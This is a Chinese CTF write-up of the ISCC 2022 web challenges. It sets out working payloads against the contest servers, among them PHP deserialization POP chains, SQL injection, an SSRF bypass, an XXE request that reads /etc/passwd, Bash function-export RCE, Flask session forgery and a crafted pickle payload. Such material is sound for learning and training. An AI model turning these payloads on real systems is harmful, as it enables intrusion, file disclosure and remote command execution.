2022ISCC-web-wp

这篇具有很好参考价值的文章主要介绍了2022ISCC-web-wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

2022ISCC-web

除了0解的爱国敬业好青年1,其他都写出来了,wp写的有点简单,有问题欢迎提问

冬奥会

传入一个json字符串,第一个键为year,且值不为数字

if(is_array(@$info["items"])){
    if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
    $status = array_search("skiing", $info["items"]);
    $status===false?die("Sorry~"):NULL;
    foreach($info["items"] as $key=>$val){
      $val==="skiing"?die("Sorry~"):NULL;
    }
    $Step2=True;
  }

第二个键为items,利用函数接入到了不符合的类型返回“0”,使用二维数组进行绕过

poc

?Information={"year":"a","items":[0,[],"a"]}

爱国敬业好青年2

5.10为共青团成立100周年,猜测坐标为天安门,进入/flag页面,post提交经纬度即可得到flag

post提交

lati=116%C2%B023%E2%80%B2E&langti=39%C2%B054%E2%80%B2N

2022ISCC-web-wp

Pop2022

目标为include。可以使用php伪协议来读取并输出文件。

poc:

<?php 
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        //echo 'Road_is_Long__construct';
        $this->page = $file;
    }
    public function __toString(){
        echo '__toString';
        return $this->string->page;
    }
 
    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}
class Try_Work_Hard{
    protected  $var='php://filter/read=convert.base64-encode/resource=/flag.php';
    public function append($value){
        echo 'append';
        include($value);
    }
    public function __invoke(){
        echo '__invoke';
        $this->append($this->var);
    }
} 
class Make_a_Change{
    public $effort;
    public function __construct(){
        //echo 'Make_a_Change__construct';
        $this->effort = array();
    }
 
    public function __get($key){
        echo '__get';
        $function = $this->effort;
        return $function();
    }
}
 
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard(); 
$c->effort=$d;
$b->string=$c;
$a->page=$b;
echo urlencode(serialize($a)); 
?>

2022ISCC-web-wp

ISCC{lets_pop_your_2022}

Easy-SQL

?id=-8 union table emails limit 7,1#

获得源码

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据

username=0’ union select 1,0x61646d696e,3#&passwd=3

findme

简单的php原生类利用

http://59.110.159.206:8030/unser.php

先使用伪协议获取hint.php,得知flag大概位置

<?php

class a{
    public $un0;
    public $un1;
    public $un2="php://filter/convert.base64-encode/resource=";
    public $un3;
    public $un4;

}

$payload=new a();
echo serialize($payload);

poc直接打获得flag文件

<?php

class a{
    public $un0="DirectoryIterator";
    public $un1="glob:///var/www/html/f*.txt";
    public $un2;
    public $un3="unserialize";
    public $un4="abc";

}

$a=new a();
echo serialize($a);

让我康康!

一个搜索框,提示我们访问fl4g页面,访问后返回403页面,我们尝试一下使用HTTP请求走私漏洞访问fl4g页面,提示需要来自本地

2022ISCC-web-wp

配合搜索框,发现由前端重写的请求包会被反馈在响应中,需要post提交数据,添加CT字段,成功通过HTTP请求走私漏洞获取到了前端服务器用来指定来源IP的字段名,我们就可以伪造成本地用户了

2022ISCC-web-wp

最终获得flag

2022ISCC-web-wp

这是一道代码审计题

访问index构造请求url=1,获得报错页面,查看源码

2022ISCC-web-wp

访问此文件,发现emoji编码的源码,2022ISCC-web-wp

进行解码,获得源代码

def geneSign():
    if(control_key==1):
        return render_template("index.html")
    else:
        return "You have not access to this page!"

def check_ssrf(url):
    hostname = urlparse(url).hostname
    try:
        if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
                raise BaseException("url format error")
        if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if judge_ip(hostname):
                return True
            return False, "You not get the right clue!"
        else:
            ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
            if is_inner_ipaddress(ip_address):
                return False,"inner ip address attack"
            else:
                return False, "You not get the right clue!"
    except BaseException as e:
        return False, str(e)
    except:
        return False, "unknow error"

def ip2long(ip_addr):
    return struct.unpack("!L", socket.inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):
    ip = ip2long(ip)
    print(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24

def waf1(ip):
    forbidden_list = [ '.', '0', '1', '2', '7']
    for word in forbidden_list:
        if ip and word:
            if word in ip.lower():
                return True
    return False

def judge_ip(ip):
    if(waf1(ip)):
        return Fasle
    else:
        addr = addr.encode(encoding = "utf-8")
        ipp = base64.encodestring(addr)
        ipp = ipp.strip().lower().decode()
        if(ip==ipp):
            global control_key
            control_key = 1
            return True
        else:
            return False

构造请求http://59.110.159.206:8040/index?url=https://@MTI3LjAuMC4x

绕过ssrf限制,获得新提示

2022ISCC-web-wp

访问此目录,并抓包更改cookie为题目所给

2022ISCC-web-wp

登录到登录框界面,右键查看源代码,得到一串js源码

2022ISCC-web-wp

很明显要我们构造post数据包,存在xxe漏洞,构造如下

POST /mti3ljaumc4x/codelogin HTTP/1.1
Host: 59.110.159.206:8040
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: td_cookie=2450783275;login=1; a_cookie=aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==
Upgrade-Insecure-Requests: 1
Content-Type: application/xml;charset=utf-8
Content-Length: 172

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY name SYSTEM "file:///etc/passwd">
  ]>
<user><name>&name;</name><password>admin</password></user>

成功读取文件

2022ISCC-web-wp

根据提示利用proc特性,proc/self/cwd/获取目标当前进程环境的运行目录与目录里的文件

读取proc/self/cwd/flag.txt文件得到flag

2022ISCC-web-wp

ping2rce

环境变量rce,可参考p牛的文章https://tttang.com/archive/1450/,直接构造poc即可命令执行

2022ISCC-web-wp

POST /cgi-bin/ping?ip=127.0.0.1 HTTP/1.1
Host: 59.110.159.206:8010
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 152
Content-Type: multipart/form-data; boundary=cf7fc1d68a5861b16bd95126c45ba379

--cf7fc1d68a5861b16bd95126c45ba379
Content-Disposition: form-data; name="BASH_FUNC_ping%%"

() { cat /flag; }
--cf7fc1d68a5861b16bd95126c45ba379--

2022ISCC-web-wp

Melody

先随便登录一个用户,可以看到存在session认证

2022ISCC-web-wp

eyJ1c2VybmFtZSI6ImFkbWluMSJ9.Ym89BA.cTzCdduJBZkB49voYggktxppsnI

发现提示/info页面需要使用Melody浏览器登录,更改UA头为Melody即可

发现junjia2模板注入,查看配置信息,发现session_key,那我们接下来直接伪造session即可

2022ISCC-web-wp

获得key:meldoy-is-so-cute-wawawa!

2022ISCC-web-wp

然后使用脚本进行flask session伪造,替换session后登录成功

2022ISCC-web-wp

虚假的flag,发现一个py源文件,访问下载

2022ISCC-web-wp

代码如下

# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request

class register:
    def __init__(self,name,password):
        self.name = name
        self.password = password

    def __eq__(self, other):
        return type(other) is register and self.name == other.name and self.password == other.password


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module[0:8] == '__main__':
            return getattr(sys.modules['__main__'],name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def find(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/therealflag', methods=['GET','POST'])
def realflag():
    if request.method == 'POST':
        try:
            data = request.form.get('melody')
            if b'R' in base64.b64decode(data):
                return 'no reduce'
            else:
                result = find(base64.b64decode(data))
                if type(result) is not register:
                    return 'The type is not correct!'
            correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
            if correct:
                if session['username'] == 'admin':
                    return Response(read('./flag.txt'))
                else:
                    return Response("You're not admin!")
        except Exception as e:
            return Response(str(e))

    test = register('admin', '123456')
    data = base64.b64encode(pickle.dumps(test)).decode()
    return Response(data)

pickle反序列化,写脚本,pker进行原变量覆盖

import base64
payload=b"c__main__\nmelody\n(S'name'\nS'melody'\nS'hug'\nS'2'\ndb0(c__main__\nregister\nS'melody'\nS'hug'\no."
print(base64.b64encode(payload))

2022ISCC-web-wp文章来源地址https://www.toymoban.com/news/detail-449761.html

到了这里,关于2022ISCC-web-wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 2022-HitCon-Web-yeeclass WP

    复现平台CTFHUB 靶机为一个完整类论坛网页,题目给了服务端完整代码 代码审计 /src/submit.php Line56-63: 可以看到提交数据存入的时候将 $_SESSION[\\\"username\\\"].\\\"_\\\" 作为前缀,生成了一个uniqid。uniqid的生成方式即 {sec:08x}{usec:05x} /src/submission.php Line5-15: 在该查询界面中首选了 hash 参数作为

    2024年02月11日
    浏览(74)
  • [CTF]-ISCC2022复现

    一年一度的ISCC终于结束,题目质量很高,高到做不出来 讲道理,擂台题是真的为了出题而出题,真的卷不动了 以下是自己整理的wp,有详有略,感谢师傅们借鉴思路 图片CRC值报错 修改高度 得到 unicode 编码 所以rar的密码是 灯笼 得到 flag.jpg 用 txt 打开就是 flag png图片改高度

    2023年04月26日
    浏览(58)
  • ISCC 2022

    跳一跳(未写完 程序流程较为简单,发现为64位全保护开启的ELF文件; sim_treasure 简单的32位循环格式化字符串漏洞,位于栈上,无过滤x00;且对于got表无防护,故利用格式化字符串漏洞对地址泄露,并写入printf@got为system函数地址; 调试如下: exp如下:(运行之后,需要先敲击

    2024年02月04日
    浏览(37)
  • ISCC2022--Writeup

    MISC/REVERSE/MOBILE 答题须知 系统会为选手随机分配flag,请各位选手务必下载自己账号对应的题目附件 。 提交其他选手的flag将被视为作弊行为 。 WEB/PWN 答题须知 主办方将于每天中午12:00-12:30对部分题目进行维护并变更flag,届时会影响题目环境,请各位选手避免在该时间段内

    2024年02月09日
    浏览(129)
  • 春秋云镜cve-2022-32991wp

    首先看靶标介绍:该CMS的welcome.php中存在SQL注入攻击 访问此场景,为登录界面,可注册,注册并登陆后找可能存在sql注入的参数,尝试在各个参数后若加一个单引号报错,加两个单引号不报错,说明此参数可能存在sql注入,经过尝试在 http://xxx.ichunqiu.com/welcome.php?q=quizstep=2ei

    2024年02月12日
    浏览(59)
  • 2022蓝帽杯初赛取证部分wp(详细)

    前言 本文是2022蓝帽杯初赛取证部分复盘,感觉题目难度适中,因此选择性的记录了做出来的部分。这不是本次比赛完整的WP,如果有需要可以翻一翻其他大师傅的文章 手机取证_12 题目描述: 现对一个苹果手机进行取证,请您对以下问题进行分析解答。 1.627604C2-C586-48C1-AA16

    2023年04月20日
    浏览(38)
  • 2022第十五届全国大学生信息安全竞赛(ciscn)西南赛区部分WP

    EzSignin 访问题目flag是假的,F12源代码,看到base64解码 解码得到flag CODE 访问题目,有个aid.php直接访问不行,使用PHP为协议进行读取,input2需要等于Welcone!,这里要使用data协议编码一下,input3可以随便输入 得到aid.php的代码 很明显的反序列化,直接构造payload: exp: base64解码得

    2024年02月06日
    浏览(54)
  • [春秋云镜wp]CVE-2022-28060 CVE-2022-26201 Victor CMS v1.0存在sql注入漏洞复现拿flag

     访问题目提示的login.php,登录框登录抓包,保存为2.txt,sqlmap跑起来 时间3分钟左右,自己手动输入Y后回车,跑完根据提示打开文件夹,拿到flag  动下小手来个赞吧~~~  和上面同类型,点击首页上面banner的admin,未授权直接进入,找到如图的注入点   抓包,保存为3.txt,s

    2024年02月11日
    浏览(54)
  • 菜狗杯Web签到wp

    写在前面: 因为我在复现这道题的过程中遇到了点问题,一度出不来flag,幸运的是在ctfshow的交流群里得到了多位师傅的指导,让我拿到了flag,所以本文就记录了一下遇到问题和解决问题的完整过程。 本文包含在 火狐中用hackbar插件 和在 burp中改包 两种解题方法。 打开这篇

    2023年04月23日
    浏览(41)
  • 2023SHCTF web方向wp

    看一眼,你大爷,啥玩意都给我过滤完了。 还好下面有preg_replace()/e,会把replacement当作php语句执行 传参pattern=.*, .*表示任意字符,code={${phpinfo()}} ,为什么这样写,因为 , \\\'print_r(\\\"\\\\1\\\")\\\' ,如果直接传phpinfo(),会被当作字符串对待,而 php中{}里面的变量会被解析,这样就能执行

    2024年02月06日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包